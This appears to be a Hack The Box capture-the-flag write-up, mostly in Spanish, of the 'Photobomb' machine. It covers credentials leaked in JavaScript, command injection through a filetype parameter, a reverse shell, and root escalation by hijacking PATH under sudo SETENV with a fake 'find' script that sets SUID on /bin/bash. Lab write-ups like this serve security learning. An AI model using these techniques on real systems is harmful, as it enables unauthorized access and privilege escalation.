Hack The Box: Photobomb Writeup | Easy

Table of Contents

Hack The Box: Photobomb Writeup

Welcome to my detailed writeup of the easy difficulty machine “Photobomb” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.228.60 --ulimit 5000 -g
210.129.228.60 -> [22,80]
 1$ nmap -p22,80 -sCV 10.129.228.60 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 01:12 CEST
 3Nmap scan report for 10.129.228.60
 4Host is up (0.037s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
10|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
11|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
1280/tcp open  http    nginx 1.18.0 (Ubuntu)
13|_http-server-header: nginx/1.18.0 (Ubuntu)
14|_http-title: Did not follow redirect to http://photobomb.htb/
15Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 9.11 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.60 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 01:12 CEST
 3Nmap scan report for 10.129.228.60
 4Host is up (0.037s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 71072/udp  closed cardax
 817814/udp closed unknown
 917824/udp closed unknown
1019283/udp closed keysrvr
1119647/udp closed unknown
1233872/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds

Del escaneo inicial encontramos el dominio photobomb.htb, lo añadimos al /etc/hosts

HTTP Enumeration

whatweb no nos reporta nada interesante ni ningún CMS.

1$ whatweb http://photobomb.htb
2http://photobomb.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.228.60], Script, Title[Photobomb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Así se ve el sitio web. Write-up Image

Encontramos una ruta /printer en la página principal que nos pide credenciales. Write-up Image

En el código fuente vemos un script photobomb.js Write-up Image

Information Leakage

Si lo inspeccionamos es lo siguiente.

1function init() {
2  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
3  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
4    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
5  }
6}
7window.onload = init;

Vemos una ruta http://pH0t0:b0Mb!@photobomb.htb/printer donde se hace una autenticación HTTP.

Con estas credenciales conseguimos acceder a la ruta protegida. Write-up Image

Vemos varias opciones para descargarnos una imagen. Write-up Image

Command Injection -> Foothold

Si lo inspeccionamos con exiftool no encontramos nada relevante.

 1$ exiftool image.jpg                                                                                                                                                                                                                                   01:17:35 [67/135]
 2ExifTool Version Number         : 12.57                                                                                                                                                                                                                                         
 3File Name                       : image.jpg                                                                                                                                                                                                                                     
 4Directory                       : .                                                                                                                                                                                                                                             
 5File Size                       : 16 kB                                                                                                                                                                                                                                         
 6File Modification Date/Time     : 2024:09:02 01:17:22+02:00                                                                                                                                                                                                                     
 7File Access Date/Time           : 2024:09:02 01:17:22+02:00                                                                                                                                                                                                                     
 8File Inode Change Date/Time     : 2024:09:02 01:17:29+02:00                                                                                                                                                                                                                     
 9File Permissions                : -rw-r--r--                                                                                                                                                                                                                                    
10File Type                       : JPEG                                                                                                                                                                                                                                          
11File Type Extension             : jpg                                                                                                                                                                                                                                           
12MIME Type                       : image/jpeg                                                                                                                                                                                                                                    
13JFIF Version                    : 1.01                                                                                                                                                                                                                                          
14Resolution Unit                 : inches                                                                                                                                                                                                                                        
15X Resolution                    : 72                                                                                                                                                                                                                                            
16Y Resolution                    : 72                                                                                                                                                                                                                                            
17Profile CMM Type                : Little CMS                                                                                                                                                                                                                                    
18Profile Version                 : 2.1.0                                                                                                                                                                                                                                         
19Profile Class                   : Display Device Profile                                                                                                                                                                                                                        
20Color Space Data                : RGB                                                                                                                                                                                                                                           
21Profile Connection Space        : XYZ                                                                                                                                                                                                                                           
22Profile Date Time               : 2012:01:25 03:41:57                                                                                                                                                                                                                           
23Profile File Signature          : acsp                                                                                                                                                                                                                                          
24Primary Platform                : Apple Computer Inc.                                                                                                                                                                                                                           
25CMM Flags                       : Not Embedded, Independent                                                                                                                                                                                                                     
26Device Manufacturer             :                                                                                                                                                                                                                                               
27Device Model                    :                                                                                                                                                                                                                                               
28Device Attributes               : Reflective, Glossy, Positive, Color                                                                                                                                                                                                           
29Rendering Intent                : Perceptual                                                                                                                                                                                                                                    
30Connection Space Illuminant     : 0.9642 1 0.82491                                                                                                                                                                                                                              
31Profile Creator                 : Little CMS                                                                                                                                                                                                                                    
32Profile ID                      : 0                                                                                                                                                                                                                                             
33Profile Description             : c2                                                                                                                                                                                                                                            
34Profile Copyright               : IX                                                                                                                                                                                                                                            
35Media White Point               : 0.9642 1 0.82491                                                                                                                                                                                                                              
36Media Black Point               : 0.01205 0.0125 0.01031                                                                                                                                                                                                                        
37Red Matrix Column               : 0.43607 0.22249 0.01392                                                                                                                                                                                                                       
38Green Matrix Column             : 0.38515 0.71687 0.09708                                                                                                                                                                                                                       
39Blue Matrix Column              : 0.14307 0.06061 0.7141                                                                                                                                                                                                                        
40Red Tone Reproduction Curve     : (Binary data 64 bytes, use -b option to extract)                                                                                                                                                                                              
41Green Tone Reproduction Curve   : (Binary data 64 bytes, use -b option to extract)                                                                                                                                                                                              
42Blue Tone Reproduction Curve    : (Binary data 64 bytes, use -b option to extract)                                                                                                                                                                                              
43Image Width                     : 600                                                                                                                                                                                                                                           
44Image Height                    : 400                                                                                                                                                                                                                                           
45Encoding Process                : Baseline DCT, Huffman coding                                                                                                                                                                                                                  
46Bits Per Sample                 : 8                                 
47Color Components                : 3                                 
48Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)                                                                                      
49Image Size                      : 600x400                           
50Megapixels                      : 0.240 

Si nos descargamos la misma imagen pero en máxima resolución vemos que se tarda mucho mas tiempo en descargar (en generar la descarga, no en descargar como tal).

Esto me hace pensar que quizás se está generado/procesando por detrás.

Al interceptar la petición vemos que se especifica el nombre de la imagen mediante el parámetro photo Write-up Image

Probando a cargar otros archivos no conseguí nada.

Teniendo en cuenta que posiblemente por detrás se esté utilizando imagemagick o algo para redimensionar las imágenes podemos probar a inyectar un comando.

Después de varias pruebas, vemos que en el parámetro filetype podemos conseguir inyectar un comando importante URL encodear los espacios. Write-up Image

1$ sudo tcpdump -i tun0 icmp
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
401:30:19.362031 IP photobomb.htb > 10.10.14.108: ICMP echo request, id 7, seq 1, length 64
501:30:19.362065 IP 10.10.14.108 > photobomb.htb: ICMP echo reply, id 7, seq 1, length 64

Ahora podemos mandarnos una revshell poniéndonos en escucha con pwncat-cs por el puerto 443.

1$ sudo pwncat-cs -lp 443

Podemos utilizar el típico one-liner para mandarnos una consola pero esta vez url-encodeado. Write-up Image

¡Y conseguimos una consola! Write-up Image

Podemos ver la flag de usuario.

1(remote) wizard@photobomb:/home/wizard$ cat user.txt 
2105df33b2ae4ee6...

Privilege Escalation

Detectamos que no hay otro usuario en el sistema a parte de root

1(remote) wizard@photobomb:/home/wizard$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3wizard:x:1000:1000:wizard:/home/wizard:/bin/bash

Detectamos que podemos ejecutar como el usuario root y podemos cambiar las variables de entorno gracias al atributo SETENV en tiempo de ejecución el script /opt/cleanup.sh

1(remote) wizard@photobomb:/home/wizard$ sudo -l
2Matching Defaults entries for wizard on photobomb:
3    env_reset, mail_badpass,
4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
5
6User wizard may run the following commands on photobomb:
7    (root) SETENV: NOPASSWD: /opt/cleanup.sh

Este es el script.

 1#!/bin/bash
 2. /opt/.bashrc
 3cd /home/wizard/photobomb
 4
 5# clean up log files
 6if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
 7then
 8  /bin/cat log/photobomb.log > log/photobomb.log.old
 9  /usr/bin/truncate -s0 log/photobomb.log
10fi
11
12# protect the priceless originals
13find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Este script de Bash realiza las siguientes tareas:

  1. Carga configuraciones desde un archivo .bashrc.
  2. Cambia al directorio /home/wizard/photobomb.
  3. Gestiona un archivo de log, archivando su contenido si no está vacío y luego lo vacía.
  4. Protege archivos JPEG en el directorio source_images cambiando su propietario a root.

Path Hijacking -> Abusing SETENV

Vemos que se hace una llamada relativa al binario find

Y como tenemos el control sobre las variables de entorno gracias a SETENV significa que podríamos secuestrar el binario de find para ejecutar un comando a nivel de sistema como el usuario root

Vamos a crear un archivo en /tmp llamado find el cual será un simple script que establece el bit SUID de /bin/bash para poder lanzarnos una bash como root

1(remote) wizard@photobomb:/tmp$ cat find 
2#!/bin/bash
3
4chmod u+s /bin/bash

Le damos permiso de ejecución.

1(remote) wizard@photobomb:/tmp$ chmod +x find 

Ahora si ejecutamos como root el script pero estableciendo la variable de entorno PATH para que primero busque binarios en /tmp y luego en los directorios que ya estaba definido anteriormente…

1(remote) wizard@photobomb:/opt$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
1(remote) wizard@photobomb:/opt$ ls -la /bin/bash
2-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

Y ya podemos conseguir una consola como root lanzando una bash con el parámetro -p

1(remote) root@photobomb:/opt# id
2uid=1000(wizard) gid=1000(wizard) euid=0(root) groups=1000(wizard)

Y vemos que el EUID es 0 (root)

Podemos leer la flag de root

1(remote) root@photobomb:/root# cat root.txt 
29dac3e4917e20d...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Photobomb   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Information Disclosure   #Command Injection   #Abusing Sudo   #Abusing SETENV   #Path Hijacking   #Privilege Escalation